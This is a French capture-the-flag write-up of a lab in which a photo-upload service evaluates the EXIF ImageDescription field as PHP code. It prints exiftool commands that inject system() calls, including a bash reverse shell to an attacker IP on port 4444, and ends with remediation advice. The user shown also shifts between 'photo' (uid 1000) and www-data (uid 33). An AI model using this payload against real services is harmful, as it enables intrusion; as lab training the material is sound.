Lab PhotoStore : RCE via Injection de Commande dans les Métadonnées EXIF
Pentest d'un studio photo en ligne : découverte que le moteur MetaDSL évalue le champ EXIF ImageDescription comme du code PHP via system(), modification du fichier image avec exiftool pour injecter une commande arbitraire, et obtention d'un reverse shell via Penelope.
Contexte et Objectifs
| Champ | Détail |
|---|---|
| Plateforme | Webverse |
| Lien | Accéder au Lab |
| Cible | photostore.local |
| OS | Linux (nginx) |
| Vuln. clé | Command Injection via métadonnées EXIF |
| Outil clé | exiftool |
| Difficulté | Facile |
Scénario : Simon's PhotoStore est un studio photo qui permet aux clients d'uploader leurs photos via un portail web. Un moteur maison appelé MetaDSL lit le champ ImageDescription des métadonnées EXIF de chaque image dans le cadre du processus d'archivage. La question est de savoir ce que ce pipeline fait quand le champ de description n'est pas une légende, mais une commande.
Kill chain :
Site d'upload → image d'exemple téléchargeable
│
▼
Test avec l'image fournie → MetaDSL retourne le résultat de system("echo ...")
│
▼
Confirmation : ImageDescription est évaluée comme du code PHP
│
▼
exiftool → modification du champ ImageDescription → system("id")
│
▼
Upload → RCE confirmée
│
▼
Reverse shell via system("bash -c ...") → flag
1. Reconnaissance
rustscan -b 500 -a 10.100.0.30 -- -sC -sV -Pn
Output :
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 63 nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://photostore.local/
Un seul port ouvert : 80/tcp, nginx, redirection vers photostore.local. Surface d'attaque entièrement concentrée sur l'application web. TTL de 63, machine Linux.

2. Enumération Web
Content Discovery et Inspection
Feroxbuster et l'inspection du code source ne révèlent rien de significatif. Le site est une page unique sans répertoires cachés ni endpoints API apparents.
Visite de l'Application
La page principale présente une zone d'upload d'images avec le texte suivant :
"Téléchargez vos fichiers originaux ci-dessous. Nous acceptons les formats JPEG et PNG d'une taille maximale de 4 Mo. Le moteur MetaDSL traite les champs ImageDescription dans le cadre du processus d'archivage afin de mieux répondre à vos besoins, chers clients."

Deux informations critiques :
- L'application traite spécifiquement le champ
ImageDescriptiondes métadonnées de l'image. - Un moteur interne appelé MetaDSL fait ce traitement.
Le site fournit une image d'exemple téléchargeable pour tester la fonctionnalité. On la télécharge.
3. Comprendre les Métadonnées EXIF
Avant de tester, un point de contexte.
Quand vous prenez une photo ou créez une image, le fichier ne contient pas seulement des pixels. Il contient également une section invisible appelée EXIF (Exchangeable Image File Format) : des métadonnées structurées en clés/valeurs embarquées dans le fichier lui-même.
Ces champs incluent : le modèle d'appareil photo, les paramètres d'exposition, la date de prise de vue, les coordonnées GPS, et des champs libres comme ImageDescription, Artist, Copyright.
Le champ ImageDescription est particulièrement intéressant : c'est un champ texte libre où n'importe quelle valeur peut être insérée. Si l'application lit ce champ et l'évalue plutôt que de simplement l'afficher, on a un vecteur d'injection.
Outil utilisé : exiftool
exiftool est l'outil de référence pour lire et modifier les métadonnées EXIF sous Linux.
# Lire toutes les métadonnées d'une image
exiftool image.jpg
# Modifier un champ spécifique
exiftool -ImageDescription='nouvelle valeur' image.jpg
4. Test de la Fonctionnalité
Analyse de l'Image d'Exemple
On inspecte les métadonnées de l'image fournie par le site :
exiftool sample.jpg
Output :
ExifTool Version Number : 13.50
File Name : sample.jpg
File Size : 148 kB
File Type : JPEG
MIME Type : image/jpeg
Image Description : system("echo Sample image - MetaDSL v2.1 annotations enabled")
Make : Studio Camera Co.
Camera Model Name : SC-1 Pro
Software : MetaDSL v2.1
Artist : Simon's PhotoStore
Copyright : (c) 2026 Simons PhotoStore
Date/Time Original : 2026:03:14 11:22:00
Lens Model : 50mm f/1.4
Image Width : 960
Image Height : 640
Megapixels : 0.614
La ligne clé :
Image Description : system("echo Sample image - MetaDSL v2.1 annotations enabled")
Le champ ImageDescription contient un appel à system(). C'est une fonction PHP qui exécute une commande shell et retourne son output.
Test avec l'Image Fournie
On uploade l'image d'exemple sans modification pour observer le comportement :

La réponse de l'application :
{
"image_description": "system(\"echo Sample image - MetaDSL v2.1 annotations enabled\")",
"metadata_processed": "Sample image - MetaDSL v2.1 annotations enabled"
}
Ce qui vient de se passer :
- L'application a lu le champ
ImageDescriptionde l'image. - Elle a évalué la valeur comme du code PHP (via
eval()ou un mécanisme équivalent). system("echo Sample image...")a été exécuté côté serveur.- Le résultat de la commande
echoest retourné dansmetadata_processed.
Le moteur MetaDSL ne traite pas la description comme une chaîne de texte. Il l'exécute comme du code. C'est une vulnérabilité de type Command Injection via les métadonnées EXIF.
5. Confirmation RCE
Modification du Champ ImageDescription
On utilise exiftool pour remplacer la valeur du champ par une commande de reconnaissance :
exiftool -ImageDescription='system("id")' sample.jpg
1 image files updated
On uploade l'image modifiée sur le site :

{
"metadata_processed": "uid=1000(photo) gid=1000(photo) groups=1000(photo)"
}
RCE confirmée. La commande id s'est exécutée côté serveur avec les droits du processus web (photo). On peut exécuter n'importe quelle commande système via ce vecteur.
6. Reverse Shell
Référence : revshells.com / Penelope
Préparation du Payload
On injecte un reverse shell bash dans le champ ImageDescription. L'imbrication dans system() nécessite d'échapper les guillemets internes :
exiftool -ImageDescription='system("bash -c \"bash -i >& /dev/tcp/10.9.0.65/4444 0>&1\"")' sample.jpg
Décomposition du payload :
| Élément | Rôle |
|---|---|
system("...") | Wrapper PHP qui exécute la commande shell |
bash -c "..." | Lance bash pour interpréter la commande qui suit |
bash -i | Lance bash en mode interactif |
>& /dev/tcp/10.9.0.65/4444 | Redirige STDOUT et STDERR vers notre IP sur le port 4444 |
0>&1 | Redirige STDIN depuis la même connexion (rend le shell bidirectionnel) |
\" | Guillemets échappés pour éviter la casse de la chaîne PHP |
Listener avec Penelope
Penelope est un handler de reverse shell qui stabilise automatiquement le TTY et gère les sessions multiples, contrairement à netcat qui nécessite une stabilisation manuelle.
penelope
[+] Listening for reverse shells on 0.0.0.0:4444
-> 127.0.0.1 • 192.168.1.144 • 10.9.0.65
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
Déclenchement
On uploade l'image modifiée :


Penelope reçoit la connexion. On a un shell stable en tant que photo.
7. Flag
Le flag est à la racine du système de fichiers :
www-data@photostore:/$ ls /
flag.txt var usr tmp srv run proc opt mnt media lib home etc dev boot bin
www-data@photostore:/$ cat /flag.txt

8. Conclusion et Remédiation
Kill Chain Complète
1. RustScan → Port 80, nginx, page unique
2. Visite app → Upload d'images, moteur MetaDSL traite ImageDescription
3. Image fournie → ImageDescription contient system("echo ..."), metadata_processed retourne le résultat
4. exiftool read → Confirmation : le champ original est un appel system()
5. exiftool write → system("id") injecté dans ImageDescription
6. Upload → uid=33(www-data) retourné → RCE confirmée
7. Payload shell → system("bash -c \"bash -i >& /dev/tcp/...\"") injecté
8. Penelope → Shell www-data reçu
9. Flag → /flag.txt lu directement
Remédiation
| Vecteur | Problème | Remédiation |
|---|---|---|
| Evaluation du champ EXIF | Le moteur MetaDSL évalue le champ ImageDescription comme du code PHP | Ne jamais évaluer des données issues d'un fichier uploadé. Lire les métadonnées comme des chaînes de texte brutes, sans eval() ni system() |
| Upload sans validation | L'application accepte le fichier sans inspecter ni nettoyer ses métadonnées | Avant traitement, lire les métadonnées et valider leur contenu contre une liste blanche de caractères autorisés. Refuser tout fichier dont un champ contient des caractères suspects |
| Droits www-data excessifs | Le processus web peut lancer bash et établir des connexions réseau sortantes | Appliquer le principe de moindre privilège : isoler le processus d'upload dans un conteneur ou un sandbox sans accès réseau sortant |
| Accès au flag depuis www-data | Le flag est lisible par l'utilisateur www-data | Protéger les fichiers sensibles avec des permissions restrictives, accessibles uniquement à root |
[!NOTE] La particularité de ce lab : la vulnérabilité est documentée par l'application elle-même. L'image d'exemple fournie par le site contient déjà un appel
system()dans ses métadonnées. C'est le serveur qui nous dit comment l'attaquer. En pentest, toujours lire attentivement les données fournies par la cible, y compris les fichiers d'exemple et les messages d'erreur. Ils contiennent souvent plus d'informations que prévu.
Writeup rédigé par Zcook
